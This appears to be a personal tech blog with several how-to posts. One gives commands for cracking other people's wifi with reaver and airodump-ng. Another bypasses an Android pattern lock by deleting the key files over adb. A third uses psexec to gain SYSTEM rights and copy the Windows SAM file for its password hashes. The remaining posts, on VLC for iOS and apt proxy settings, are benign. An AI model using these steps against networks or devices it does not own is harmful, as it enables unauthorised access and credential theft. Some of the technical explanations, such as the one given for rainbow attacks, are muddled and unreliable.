Friday, 24 January 2014

How to hack a wifi network(WEP / WPA2) using linux (in my case ubuntu)

To hack the wifi password with WEP/WPA2, you gonna need following programs.

1. reaver - This is free tools which can be downloaded on linux for free by typing following command on linux terminal

$ sudo apt-get install reaver

2. aircrack-ng - It is also a free tool for linux and is also available for windows, it can downloaded by using dollowing command

$ sudo apt-get install aircrack-ng


This hacking method used bruteforce, that means it is going to take lot of time, may be sometimes a day, but will surely provide you with the password unlike the dictionary hack, which it inefficient if the password is not made by words in dictionary.
For those, who don't know what brute force, dictionary or rainbow hack is?
Brute Force is very old fashioned and efficient way of hacking but time consuming. It tries every possible combination of words, letters, symbols, numbers and finally gave the password.
Dictionary hack uses the dictionary for hacking the password, it tries all the combination of words available in dictionary and if the password is combination of dictionary words, then this method is the best method to hack any password.
Rainbow hack is somewhat the combination of rainbow and brute force, it removes certain words to be searched for password based on the dictionary and it is thus more efficient than brute force and dictionary hack, in general cases.

Now to hack the wifi password, follow the following steps.

1.  First open the wlan port where you will hack your wifi, this is done by following command on the terminal
$ airmon-ng start wlan0

2. Now, we have to list all the wifi network available
$ airodump-ng mon0

3. Now copy the bssid of the wifi network you want to hack and use in iplace of <bssid> in following command
$ reaver -i mon0 -b <bssid>

Now, the brute force will start and password will be hacked in sometime, depending on the length and complexity of password.

How to hack the lockscreen of android phone i,e bypass screen without PIN or pattern

How to bypass the pattern lockscreen of any android phone

To remove the pattern lock of the android devices, you gonna need a computer running any linux distro, as of my case ubuntu 13.04. Just follow the following steps

1. Open the linux terminal and type
    $sudo apt-get install android-tools-adb
   and let it install

2. When it is installed, connect the android device to the computer.

3. Type
    $adb devices
   a will device will be shown and if not then make sure that USB Debugging is switched ON, on the android devices, probably located in the developer options inside the settings(on device on or after android 4.0)

4. Now the device is shown, then type
    $adb shell
    $su
    #cd data/system
    #rm *.key;
    #exit
    $adb reboot

5. Now your device will be rebooted.

6. Now try any pattern, the device will open.

If after the step, $su, the $ doesnot changed to #, or a error pops up, it means that your device is not rooted. Fortunately, methods are there which can unlock the phone, even if the device is not rooted, that I will write about next time.

Friday, 10 January 2014

How to run all video formats(mkv, avi, flv, mp4, 3gp, wmp, rmvb) on iPhone, iPad, iPod Touch



Apple doesnot allow to run video formats other than mp4, but however they allow developers to make the codecs for other formats to run on iOS. There are various apps around that can run various video formats like flv, mkv, avi and many other, some of them are free. The best free app is vlc for iOS, it support iPhone, iPad and iPod touch. Vlc is still one of the best video player around.

Steps to run all video formats on iOS are

1. Go to Appstore and search for "vlc for iOS" and download it.

2. After downloading it connect you iOS device to the computer running iTunes.

3. Go select your device from iTunes and move the Apps tab.

4. Now scroll down and where you see apps, and vlc will be mentioned there.

5. Select the vlc and click on "Add" button and choose the video you want to add to it.

6. Now disconnect your device and open the vlc for iOS app on your device and you will all the videos, you added there.

Unfortunately it have some bugs. I came through only one of them, when you open .flv video files audio for that video donot play at once, you have to play it again to listen to audio.

Saturday, 28 December 2013

How to become the system user in windows and take the SAM file

Windows generally have three types if users wiz. user, administrator, system user. We users only have access to first two users and system user is like the root user in linux. Microsoft does not give us option to function as system user, that means we are not the sole owner of the windows, as we cannot use it as root.

So, here is the way to become the system user of our windows and do whatever we want. In my previous blogs I have mentioned that windows passwords are stored in SAM file in c:\windows\system32\config and we cannot view it or copy or delete it. But once we become the system user we can manipulate this file also. Now you may got the essence of system user.

Here are the steps to become the system user and take home the SAM file.

1. Download psexec.exe from sysinternal

2. Place it your C drive(or drive in which your windows is installed)

3. Open the cmd.exe and type cd \ . It will place you in the root directory where psexec is placed.

4. Use the following command   psexec -i -s cmd.exe
where -i for interactive
          -s for system account

5. When the command completes cmd shell will launched then type whoami, it will say "system"

6. Now, open the task manager and kill the explorer.exe

7. From thr cmd shell that is currently opened type start explorer.exe

8. When the explorer is launched, notice the name "system" as the user. Now you can delete or copy files in the windows\system32 folder which were not possible when your either admin or normal user.

9. Now you can also copy SAM file and extract hashes from it.

Monday, 9 December 2013

How to remove proxy from the linux terminal

As linux has become one of the major platforms in the computer systems. But it is still far from being perfect like windows or mac. It works, but sometimes it just don't. But it is still the best when it comes to Character User Interface(CUI). Sure, Windows and Mac also provide terminal, but they are simply not as developed as of ubuntu or any linux.

Since its launch it has come a long way down the road. But still today, it not the perfect or simplest platform to work, its graphical interface still face lot of problems. One if its problem is changing the proxy.

When proxy is changed from the network settings , from the settings applications, sometimes it doesn't apply to linux terminal or even the browser. No matter how many times system proxy is changed or restarted it just doesn't work. Method to change the proxy through is simple and it always works, all you have to do is follow following steps.

1.  Firstly you have to gain the root access of the system. You can achieve that by su command or sudo su, and then entering your user password if you have never done it before.

2. #cd /etc/apt

3. There will be a file located named "apt.conf"

4. Open the file by #nano apt.conf

5. In this you file all your proxy for various http, https, ftp connections proxy would be mentioned.

6. Change the proxy, to your desired configuration.

7. Save the file and now your new settings will be implimented to the entire system.

Hope it helped, if still any problem occurs, feel free to contact me.